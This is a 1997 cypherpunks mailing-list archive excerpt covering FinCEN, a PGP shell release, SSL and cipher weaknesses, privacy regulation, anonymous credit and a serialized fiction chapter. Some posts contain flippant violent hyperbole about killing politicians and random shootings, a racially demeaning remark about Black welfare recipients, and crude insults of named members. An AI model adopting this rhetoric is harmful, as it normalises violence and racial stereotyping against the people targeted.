From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 11 Apr 1997 13:38:25 -0700 (PDT)
To: cypherpunks@toad.com
Subject: FinCEN Resources
Message-ID: <v03020905af744adb1bbf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Mime-Version: 1.0
Date: Fri, 11 Apr 1997 09:12:46 -0500
To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
From: Vin McLellan <vin@shore.net>
Subject:  FinCEN Resources
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Vin McLellan <vin@shore.net>

>From the French "Intelligence" newsletter
web http://www.blythe.org/Intelligence;
---------------------------------------------

Intelligence, N. 56, 24 March 1997, p. 21


U.S.A. - "Silent" FinCEN Uses a Bullhorn.  After we published
several articles concerning the Department of the Treasury's
Financial Crimes Enforcement Network (FinCEN) in 1994, there
was talk of FinCEN "clamming up", in 1995 following the
appointment of Stanley E. Morris as the new director who
"doesn't talk in public".  Those rumors were poorly informed,
as Morris himself proved, in March 1996, with the publication
of his article, "From FinCEN's Director" which opened the first
issue of "FinCEN Advisory".  Seven issues of the "Advisory"
have now been published and cover questions such as the
Seychelles, fund-transfer record keeping, money laundering
typologies developed with the OECD/G-7 Financial Action Task
Force (FATF), the "Safe Harbor" provision, Mexico and other
questions.

      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Fri, 11 Apr 1997 14:03:04 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: [Fwd] AEgis Shell 3.0 Release
Message-ID: <3.0.1.32.19970411163143.007e6760@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: mlyman@aegisrc.com (Mike Lyman)
>Subject: AEgis Shell 3.0 Release

>-----BEGIN PGP SIGNED MESSAGE-----
>
>I am happy to belatedly announce the release of AEgis Shell 3.0 for PGP. The
>release version has actually been posted for the last several days but the
>order processing pieces have finally been put in place.
>
>You can get the shell from http://www.aegisrc.com/Products/Shell
>
>If you plan to order the shell on the commercial shareware license you AEgis
>POC for sales is Michelle Bass.
>
>I also want you to know that tech support will be a little slow for the next
>few weeks. I am moving to a new job in Redmond, WA and AEgis will no longer
>be my primary employer, my main paycheck will come from someone else. I will,
>however, continue to work for AEgis on the shell and will continue to support
>it as will others. Until my equipment catches up to me, it will be impossible
>for me to track down new glitches. I will be able to answer question about
>the standard problems users have.
>
>I'd like to remind you that there is a shell-users mailing list available
>where users can support each other. This may be your fastest support channel
>for the next week. You can join this list by sending a message to
>shell-users-request@aegisrc.com with the word subscribe in the body of the
>message. To send a message to the list, send it to shell-users@aegisrc.com.
>
>I will continue to monitor the shell-support@aegisrc.com address. You can
>reach me directly at my alumni organization address of mlyman@west-point.org.
>My mlyman@aegisrc.com address will be forwarded to that address for a few
>months.
>
>Mike Lyman                                     USMA '87
>Software Engineer        Webmaster           Postmaster
>mlyman@aegisrc.com                   PGP Key 0xC34BEF45
>AEgis Research Corporation       http://www.aegisrc.com
>6703 Odyssey Drive, Suite 200      Huntsville, AL 35806
>Voice: 205.922.0802                   Fax: 205.922.0904
>
>I'm changing jobs on 14 April, my new email address is:
>mlyman@west-point.org
>-----BEGIN PGP SIGNATURE-----
>Version: 4.5
>Comment: PGPMail 4.5 (formerly ViaCrypt's PGP)
>
>iQCVAgUBM06CMMUiy4XDS+9FAQFPCwP/cVZPiXzEmNjm0foqN3Le1qU+wSKAEYOt
>7zBv1QpstVNhR3QPbk+BOQr0fFbewioeuDOWp/inFC0u2MvboU+Z2sQswBeaYp4B
>1v4G3H0OE5VfJ1tBhUJOs2qk3tQvtEGivMJ53RexONwUw+BuVoMo/uPNm9OCpnb6
>ocgumVDO+NU=
>=4/Iy
>-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Apr 1997 16:31:15 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: KC post per Alec
In-Reply-To: <199704111239.HAA02011@smoke.suba.com>
Message-ID: <y3k15D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> Crispin:
> > Personally, I am in favor of absolute personal privacy, but I don't
> > define that to include economic dealings -- as far as I am concerned,
> > business or economic privacy is at a lower level of concern than
> > personal privacy.  This puts me at odds with the prevailing
> 
> 	What's the difference? 
> 
> 

I suppose (and I'm no mind reader) that Kent feels that who you fuck/suck
(for kicks, not for money) is your business, but what you do for a living
is the gubmint's business.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 11 Apr 1997 16:37:55 -0700 (PDT)
To: paul@fatmans.demon.co.uk
Subject: Re: "...markets are fundamentally chaotic, not efficient"?
In-Reply-To: <860759798.116769.0@fatmans.demon.co.uk>
Message-ID: <199704112334.SAA12130@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


market efficiency and chaos are not necessarily mutually exlusive

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 11 Apr 1997 17:31:51 -0700 (PDT)
To: tmg@dev.null (TruthMangler)
Subject: Re: Grumpy Old Cypherpunks
In-Reply-To: <199704111724.LAA08482@wombat.sk.sympatico.ca>
Message-ID: <199704112355.SAA03116@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger:
>    My personal view is that the war on DoubleSpeak was lost when we 
> allowed Ronnie Rayguns & Co. to name a weapon of mass destruction "The
> Peacekeeper." If we had risen up and slaughtered a few hundred 
> politicians at that time, then mental freedom would have had a slim
> chance of survival.

	Well, considering there was a .45 revolver named either "Peace
keeper" or "Peace Maker" in the late 1800's or early 1900's, I don't think
you can blame RR&c for that.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Gilchrist <dgilx@mindspring.com>
Date: Fri, 11 Apr 1997 16:34:47 -0700 (PDT)
To: TruthMangler <cypherpunks@toad.com
Subject: Re: Grumpy Old Cypherpunks
Message-ID: <1.5.4.32.19970411233414.006a6e74@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:31 AM 4/11/97 CST, TruthMangler wrote:
>Kent Crispin wrote: 
>> 
>> Toto, thanks for your thoughtful comments.  Your touching defense of
>> Tim is interesting.

<yammeryammersnip>

>> list.  Like most people, I tend to respond in kind.
>
>  This list is one of the few places where the dogs still bark (and
>bite, as well). Smarmy "gumming" of the logic and opinions of others
>on this list will not get you many doggie bones.

I like that.  Bite me.

>  My personal pet peeve is the fucking happy faces that abound in
>posts everywhere. If you can't figure out whether a comment is an
>insult or humor, then take it as an insult, because any professed
>difference between the two is only an illusion.

I like that, too.  Happy face me.

>  I suppose that it is only a matter of time before I walk into a
>happy-face factory and start blowing people away at random. A barking
>gun is only the final result of years of govement and societal 
>suppression of our natural instinct to bark loud and long when
>intruders invade our personal space.

You must work for the post office.  Shoot me.

>TruthMangler
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 11 Apr 1997 20:15:05 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: None
In-Reply-To: <199704112140.OAA27286@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970411211426.22596A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 11 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> There's a rumor that Timothy Mayhem sells his dead relatives as 
> fertilizer as they constitute the best shit in California.
> 
>           |||||||||||
>            \~0/ \0~/
>            <  (0)  >
>       --oOO--/|||\--OOo- Timothy Mayhem
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 11 Apr 1997 21:27:07 -0700 (PDT)
To: Martin Minow <minow@apple.com>
Subject: Re: Swedish Narcotics Police Demand Telephone Card Database
In-Reply-To: <v03102803af7468aac645@[17.219.103.108]>
Message-ID: <334F08BA.5CE7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Martin Minow wrote:
> 
> the Stockholm narcotics police has asked the national police and
> State Prosecutor to require that purchasers of a new telephone
> card used for mobile telephones be registered, and that the police
> have access to the purchaser database.
> 
> A similar card is in use in France. However, the French security
> service made the government force the telephone company to require
> that purchasers show an id card when tbey purchase the card.

  I smell a market here for enterpreneurs. I'm certain that there are
more than a few wino's sleeping better at night, having earned a little
extra cash by purchasing telephone cards for parties who require them.
  So a thousand customers will have to pay the inflated prices for the
cards as a result of the extra paperwork, in order that one alleged
criminal will also have to do so.

  I would like to see a study done that shows how many regular folk 
have had to engage in illegal activities in order to be able to 
afford all of the extra costs they face in their daily activities, 
in order for the authorities to 'catch criminals'.

  How about if we have Congress pass legislation that supplies 
drugs to users at a low cost, but requires them to steal a TV
in order to get the special price?
  Is this more ridiculous than keeping the prices of drugs 
artificially high and getting the same results?

  The up-side of laws making the spread of strong encryption  
illegal is that perhaps it will flood the jails and force the
authorities to release drug users.
  Of course, this may backfire, since drug users can become
dealers and make enough money to be able to afford strong 
crypto, no matter what the cost.
  
  I realize that I'm being silly, again, but maybe this twisted
trail of logic might get me an executive position in the legal
administrative system.
  (It has worked for others.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 11 Apr 1997 23:03:06 -0700 (PDT)
To: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/00015C5B@mex3976bcaop1.banamex.com>
Message-ID: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:54 AM 4/11/97 -0500, ARTURO GRAPA YSUNZA <agrapa@banamex.com> wrote:
>See http://www.Microsoft.com/security/
>under "Credit Card Security Concerns and Microsoft's Response"
>for Microsoft's response on the SSL GET/POST weakness. ¿Any opinions?

Thanks for the pointer to MS's security site; there's a lot of
good information there.

I was highly unimpressed with Microsoft's Response:
	"It's Not A Security Flaw"
	"But Everybody Important Works Around It"
	"And we're fixing it in the next release"
without providing much detail about what's going on.
It does indicate what to look into to avoid it when writing web pages,
but it doesn't say how to avoid it when entering your credit card number
into a web page, or what to look for as a non-programmer user.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Fri, 11 Apr 1997 15:20:02 -0700 (PDT)
To: camcc@abraxis.com
Subject: insecure algorithm (was: Re: [PGP-USERS] BestCryp NP)
In-Reply-To: <3.0.1.32.19970410171540.007ec650@smtp1.abraxis.com>
Message-ID: <m0wFoFJ-0003b7C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


>>>BestCrypt NP costs $115, the home page is www.jetico.sci.fi.
>>>They even have our Mr Peter Gutmann on their credits list. BestCrypt
>>>supports BlowFish, DES (boo) and GOST, a russian standard with 
>>>256bit key.

One would hope that they have also read and understood Peter's warning
about the GOST algorithm ("More thoughts on GOST", 17 Aug 1996,
<4v4ptc$42e@net.auckland.ac.nz>).




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 11 Apr 1997 21:23:52 -0700 (PDT)
To: cypherpunks@algebra.com
Subject: Re: Grumpy Old Cypherpunks
In-Reply-To: <199704112355.SAA03116@smoke.suba.com>
Message-ID: <0nHksW200YUh01KW80@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

snow <snow@smoke.suba.com> writes:
> TruthMonger:
> >    My personal view is that the war on DoubleSpeak was lost when we 
> > allowed Ronnie Rayguns & Co. to name a weapon of mass destruction "The
> > Peacekeeper." If we had risen up and slaughtered a few hundred 
> > politicians at that time, then mental freedom would have had a slim
> > chance of survival.
> 
>         Well, considering there was a .45 revolver named either "Peace
> keeper" or "Peace Maker" in the late 1800's or early 1900's, I don't think
> you can blame RR&c for that.

Well, not to pick nits, but it was the peace maker, and it's name is
appropriate. AFAIK, the Peace Maker was intended primarily for LEAs.
You go into a warlike situation, then shoot people until there's
peace. No logical holes there. However, the premise that a large nuke
will keep some 3rd world dictator from lobbing some Exocets at your
ships is, well, provably false.

What, me on topic? never!
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 00:14:02 -0700 (PDT)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: A rant about economic distortions
In-Reply-To: <v03007802af74c3441561@[207.167.93.63]>
Message-ID: <334F3697.5C39@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May, sounding much like 'The Bok', which is not hard
for rational people to do these days, wrote: 

> And Big Brother gets more intrusive every year. A person like me who wants
> to hire some Mexicans for work out at my house faces a triple whammy.
> 
> First, I'm supposed to fill out various forms to hire them  And so long as folks
> aren't in line to become Attorney General, or the Feds are not looking for
> an excuse to bust them, this ignoring the reporting laws is probably not
> too dangerous.

  The purpose of many laws seems to be to ensure that anyone, 
anywhere, at any time, is breaking at least a few of them, in 
case the government chooses to come after them.

> Second, I'm supposed to verify the "right to work" of any applicant. I'm
> supposed to demand documentation, and to somehow be able to detect
> forgeries.

  Thus, anyone who is not Houdini, or who doesn't have access to
the same records/databases as covert government agencies, is
probably committing criminal actions without knowing it.

> Third, I'd better watch what questions I ask, though. 

  Gotcha either way, don't they?
 
> There are other whammies, too.

  Tim gives an example, but he would have to fill an entire book
in order to cover a even a modicum of situations applicable to
the average person.

> (Somewhere along the line we lost the right to hire and fire whom we chose
> to. Now all such decisions must be documented, and produced on demand.

  The safest route is to fire the white guy. Anything else is an 
obvious act of discrimination.
  (I am not making any claim that the reverse has not been the case
in the past, but only that the situation is equally as evil in either
situation. 'Revenge' does not equate to 'Justice'.)

> Used to be that the economy had plenty of "niches" for people unable or
> unwilling to compete for more demanding/mechanical/factory jobs...the
> aforementioned handymen and maids, etc. 

  I know a businessman who had to lay off twenty disabled/retarded
employees because he couldn't afford the cost of defending himself
against charges that he was somehow taking advantage of them.
  They kept showing up for work, however, so he turned to me to
set up a system whereby he could reward them for their 'volunteer'
work. Now, even that is being challenged, even though their lives
are immeasurably better as a result of his effort to enable them
to be productive, functional members of society.

> In my view, this was a more natural, normal, almost "tribal" way of living.
> Those with lesser mental or ambition skills could still do something of use
> for those who worked hard or had skills in demand.

  The fact of the matter is, many who have become 'rich' have done so
by working night and day, as well as going broke a number of times,
with no more resources to work with than those who choose to squander
their own resources on drink, drugs and wanton living (Trust me, I
am somewhat of an expert in the latter.) 

> The further result: those who can't fit into jobs worthy of minimum wage
> (which is actually more than the official rate, given the need for tax
> accountants to manage them, forms to be kept current, training to be given
> because the public schools failed, insurance, etc.) are unemployable. Then
> the State steps in and pays them not to work.

  At the tender age of 19, I received massive amounts of electroshock
and given a lifetime pass to government assistance as a person who 
would never be fit to work in even the simplest of positions.
  Since that time, I have worked in a multitude of fields, including
becoming a recording artist, mob figure, and president of a computer
company. (None of which negates the fact that I am, indeed, crazy as
a fucking loon.)
  In my mind, those stuck in the social welfare-state are not in any
way different from those stuck in the corporate welfare-state. They 
have all bought into the government world-view and are merely pawns
in different aspects of the game. I see no real difference in the
ghetto resident who is paid not to work, and the Congressman who is
paid not to grow cotton on his plantation.
 
> Here in Kalifornia, garbage is strewn around the freeways. Convicts no
> longer are sent out (though drunk drivers, being politically incorrect,
> sometimes are). Nor are welfare recipients sent out to pick up garbage. No,
> this would all be demeaning. Better to have CalTrans employees do the work.
> Oh, and these CalTrans "transportation engineers" have starting salaries of
> $32,000 a year. A bit high for garbage collectors, but, hey, if it was any
> lower they could go on welfare and make just as much. This is how skewed
> our economy has become, thanks to government meddling in economic
> transactions.

  Some of those who see the world from this realistic viewpoint walk
into
a Denny's and blow people away, for no apparent reason. Some join an
organization to 'change' things. Others write letters to the CypherPunks
list. Some just change their name to Nero, and learn to play the violin.
  Still others, making their mark in the world as movers and shakers in
the burgeoning world of eca$h, come to their senses and realize that
the safest harbor of reality, in the midst of madness, is in the center
of the storm, and they post messages saying, "I *love* this list."

> Other rants are obvious, such as why in 48 out of the 50 states a person on
> welfare earns the equivalent of $1500 or more a month, far, far higher than
> minimum wage....in other words, the taxpaying shlubs working for $5.75 an
> hour at Taco Bell are subsidizing others to stay at home watching t.v. and
> smoking crack and getting paid more than they're making....
 
> For most American coloreds, the situation is hopeless until welfare as we
> know it is ended. (And people are free to engage in economic transactions
> of their choosing.) Some innocents will suffer, of course. But there's no
> other way.

  It is just as hopeless for those 'in power'. 
  We are all trapped on a runaway train, trying desperately to hang
on, in the mistaken notion that someone is 'in control' of the
situation, and will soon find some way to 'fix' it.
  Bad news, Bubba--the 'train' is in control, and there is no one
at the wheel.

  I could go on and on, but I'm running low on Crayolas.
  It is getting harder and harder to find the 'old' colors, and
the 'new' colors are part of the plot against me.
  Everyone at the 'home' says, "Hi!"

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 00:41:36 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com>
Message-ID: <334F3961.15AD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart, ever the realist, despite the futility
of rational thought in confronting today's world, wrote:
> 
> At 01:54 AM 4/11/97 -0500, ARTURO GRAPA YSUNZA <agrapa@banamex.com> wrote:
> >See http://www.Microsoft.com/security/
> >under "Credit Card Security Concerns and Microsoft's Response"
> >for Microsoft's response on the SSL GET/POST weakness. ¿Any opinions?
> 
> I was highly unimpressed with Microsoft's Response:
>         "It's Not A Security Flaw"
>         "But Everybody Important Works Around It"
>         "And we're fixing it in the next release"
> without providing much detail about what's going on.
> It does indicate what to look into to avoid it when writing web pages,
> but it doesn't say how to avoid it when entering your credit card number
> into a web page, or what to look for as a non-programmer user.

  Bill seems to be one of the few people to realize that tips and
tricks for experienced programmers does nothing at all for the
common user, who has no way of discerning which of the programs
and sites that they access are indeed compensating for a system
which contains a plethora of basic faults.

  When facing a firing squad, there is little comfort in knowing
that only one or two of the rifles contain real bullets.
  Pardon me for suggesting that the average user will realize that
he need not volunteer to face the firing squad if he doesn't want
to. The 10,000 people who enter their credit card number at a
web page prompt won't be on the nightly news. The guy or gal whose
life was ruined when they did so, will be.
  Does anyone care to estimate what percentage of the 10,000 who
didn't get totally screwed will think twice before using their
credit card on the web again?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMangler <tmg@dev.null>
Date: Sat, 12 Apr 1997 00:41:30 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: The Balance of Terror
Message-ID: <199704120738.BAA15473@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 12:22 AM -0400 4/12/97, Jeremiah A Blatz wrote:
> 
> >peace. No logical holes there. However, the premise that a large nuke
> >will keep some 3rd world dictator from lobbing some Exocets at your
> >ships is, well, provably false.
> 
> Given that the peace was kept, for whatever ultimate reasons, saying the
> Peacekeeper had a "provably false" mission or name is unsupported.

  The same could be said for Charles Manson's aims being "provably
false". The country has been going downhill since the 'Communist plot'
to flouridate the water supply. "Provably false" has little meaning
in this context, as well.
 
> (We never have the luxury of running history over and over again, under
> different controlled conditions, so we can't say for sure what caused
> things to happen the way they did. I am persuaded that the balance of
> terror in the 1950s-80s played a major role in the avoidance for 50 years
> of any major wars. At horrendous cost to the U.S. and U.S.S.R., to be sure,
> and better ways could probably have been found. But major wars _were_
> avoided.)

  I know it's midnight, the drugs are kicking in, and there are
few posts to respond to on the weekend, but please make an attempt
to start a new thread, as opposed to taking the easy way out and
piling new drivel on top of old drivel.

Dr. TruthRoberts





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Sat, 12 Apr 1997 02:08:16 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: anonymous credit
Message-ID: <Pine.SUN.3.96.970412015355.10438B-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


I used to think that the problem of anonymous credit is hopelessly
intractable.  I mean, who would loan money to an anonymous entity that may
disappear at any time without a trace?  Reputation, which is useful for
other types of anonymous cooperation, is not a good solution in this case,
since typically you need to borrow money to invest in reputation.
 
Recently, I came upon a solution, inspired by an essay by the economist
Steven Landsburg.  I have to admit however, that the solution is fatally
flawed.  But I present it here anyway in the hope that one of you can
offer an improvement that would make the scheme practical.
 
The idea goes like this.  The government announces a new series of
anonymous zero-coupon treasury bonds that mature in 10 years, backed by a
special lump-sum tax to be collected when the bonds mature.  The proceeds
of the bond auction and the tax are distributed equally among everyone.
So basicly, the government forces everyone to take out a loan on the
credit market and guarantees its collection.  Anyone who does not want the
loan anonymously buys treasury bonds with all of his distribution, holds
them for 10 years, redeems them at maturity and uses the proceeds to pay
off the lump-sum tax.

The fatal flaw, of course, is that there is no reason why the government
would want to help people get anonymous loans.  Can anyone find a way to
fix this?

BTW, if anyone is interested in Steven Landsburg's essays, they are
available at
http://www.slate.com/Code/Compost/Compost.asp?Sort=Section&Key=20.  I also
highly recommend his book, _The Armchair Economist: Economics and Everyday
Life_.

"All crypto is economics." - Eric Hughes





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sat, 12 Apr 1997 01:45:20 -0700 (PDT)
To: cypherpunks@toad.com
Subject: jWebWorld 30
Message-ID: <334F4C72.57DE@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


The Meeting


Jonathan had found himself frozen in time when he heard the knock
at the door of his old apartment. He had no friends or family
who dropped by, nor even business acquaintances. Who could it
possibly be?

After a few moments he slipped quietly to the doorway and flipped
on the VideoMonitor, turning it to the hallway setting. He found
his unbelieving eyes viewing none other than...the girl.

"Alexis.", he whispered, motioning her inside, after
unbolting the door and almost falling out into the hallway after
opening it. Without a word, she quickly stepped inside.
They stood there staring at each other.

Jonathan was wondering if he'd made a big mistake. Actually, he
knew nothing about her. She could be an agent of the Dark Forces,
sent to check up on his apartment.
Alexis was wondering if she'd made a big mistake. She actually
had no idea whether Jonathan was a genuine 'initiate' or an agent
of the Dark Forces, sent to Bubba to attempt to try to break into
the 'Circle'. She had to take that chance.

"I'm your contact.", she said, looking Jonathan right
in the eye.

"From the 'Circle'?", he asked, amazed that this was
actually happening.

"Of course.", she replied. "We need you to do some
very important work for us, immediately."

"Problem.", Jonathan said, shaking his head sadly. 


Alexis and Jonathan slipped out of the side door of the complex,
and hurried across the street.

"Quickly, into the shadows.", Jonathan said, moving
quickly and pulling her along with him. He had recognized the
vehicles coming around the corner. They watched as the vehicles,
followed by a truckload of troops, pulled up in front of the building
they had just left.
The troops quickly surrounded the complex.

A nondescript vehicle had arrived, shortly, and a man with eyes
of cold-blue steel stepped out of it, conferring with the troop
leader, quietly. Alexis and Jonathan could hear the distinctive,
hard voice as he gave orders to his commander.

"No one leaves the building alive."

"SOP?", the commander inquired, as if by rote, but was
surprised at the answer he received.

"No!", the Shadow exclaimed, as if coming to a sudden
decision.
"Make it as loud and as messy as you like, Commander Olson.
And don't bother with the usual cover stories. Let the neighborhood
have something to think about, tonight."

"What about the local security precinct?", the commander
asked the Shadow, obviously happy to have been given a free hand
to do as he liked here.

"Tell them NOTHING!", the Shadow screamed at his top
commander, not from anger, but from relief-relief that he no longer
had to be concerned with humoring these foolish mortals.

Commander Olson was relishing the thought of letting those pompous
little 'plastic generals' in charge of neighborhood security (and
cover-ups of the Dark Forces' activities), stew along with the
rest of the populace, for a change. He was mystified, however,
as to the reason for this sudden departure from Standard Operating
Procedure. The Shadow, however, speaking to himself, aloud, answered
the commanders unspoken question.

"After tomorrow, it won't matter anyway.", the Shadow
whispered in a voice that shouted, nonetheless, as if screamed
from the highest point of the universe, and rebounding to its
furthest reaches.
"Tomorrow, Commander Olson...", the Shadow spoke,
his eyes glowering, a fiery shade of red, pulsating in time with
the subsonic reverberation that shook the air as he spoke, his
voice and his countenance echoing that of his Dark Master, the
Evil One, speaking for Evil itself.

"Tomorrow, with the setting of the sun, when darkness crosses
the threshold of dusk, to rule the night, overpowering the day..."

The Shadow was, no longer-it was Gomez's vile countenance that
was emanating forth from the quasi-human form that Alexis and
Jonathan were watching, speechless, frozen to the spot in the
shadows, where they were standing. Their hearts leapt, and stopped,
as this powerful, vile creature, turned towards them, as if looking
at them, through them, and his visage and his voice merged with
those of the Evil One, as their shrill, penetrating voices screamed,
in unison,
"Tomorrow, Commander Olson....all this is MINE!"


Bubba poured each of them another shot of his Private Reserve,
which they both downed quickly. The scream was still reverberating
in their minds, through their whole bodies, as a matter of fact-great
shivers of cellular terror coursing through their bodies in waves,
in abominable spasms of chill, never to be forgotten, terror.

Bubba waited for one, or the other, to speak. They sat in silence
for long minutes, when Alexis, still staring off into a far-away
'nowhere', uttered, in a bare whisper,
"The scream never stopped..."

"...it continued, turning into...merging with...",
it was now Jonathan talking, "...the screams that were
coming from the building-horrible, terrifying screams..."

"...screams of the Damned...", Alexis'
presence returned to the room, as she said it, looking at Jonathan,
and then up at Bubba.

"...screams of the Damned.", they said, in
unison.

Bubba nodded his head respectfully, fully aware of what they were
speaking of-desperately trying to make him understand the true
extent of what they were attempting to describe to him. 
Bubba understood.
They were gathered in Bubba's safe house. A motley crew of computer
workers and programmers from a diverse segment of WebWorld society.
Their attention was rivited to the grizzled sage whom many of
them had riduculed for years as a babbling old derelict.

"For four generations," Bubba said, speaking for his
lineage, "I have borne witness to the existence of the Evil
One, and the reality of the danger that he represents for all
of humanity."

Bubba rose slowly, speaking, not only to Alexis and Jonathan,
but also to the many others gathered around them to hear them
recount their recent brush with the Shadow...with Gomez.

"For four generations I have been a 'voice crying in the
Wilderness', speaking of an Evil too real, too great, to be spoken
of, and understood."
"Telling all who would listen, and those who would not, of
the Evil One's Grand Design for all of humanity, bringing us into
subjection to him, to his domain. Testifying ceaselessly of Gomez
and the Dark Allies eternal presence among us, working tirelessly,
day and night, sowing the seeds of our destruction."

The was room full of people-people who had, one by one, wittingly
or unwittingly, for an innumerable variety of reasons, stumbled
into Bubba Rom Dos IV's safety net.
This was a group of people very much like one that had gathered
together one evening, four centuries earlier, to listen to the
eternal wisdom contained within the mad ramblings of a broken-down
old derelict named Bubba Rom Dos...Bubba Rom Dos I.

Now, the pendulum had swing full cycle, for the fourthth, and
possibly the last, time, and it was the fourthth-generation representative
of the Rom Dos lineage who addressed the quiet, shaken individuals
gathered before him.

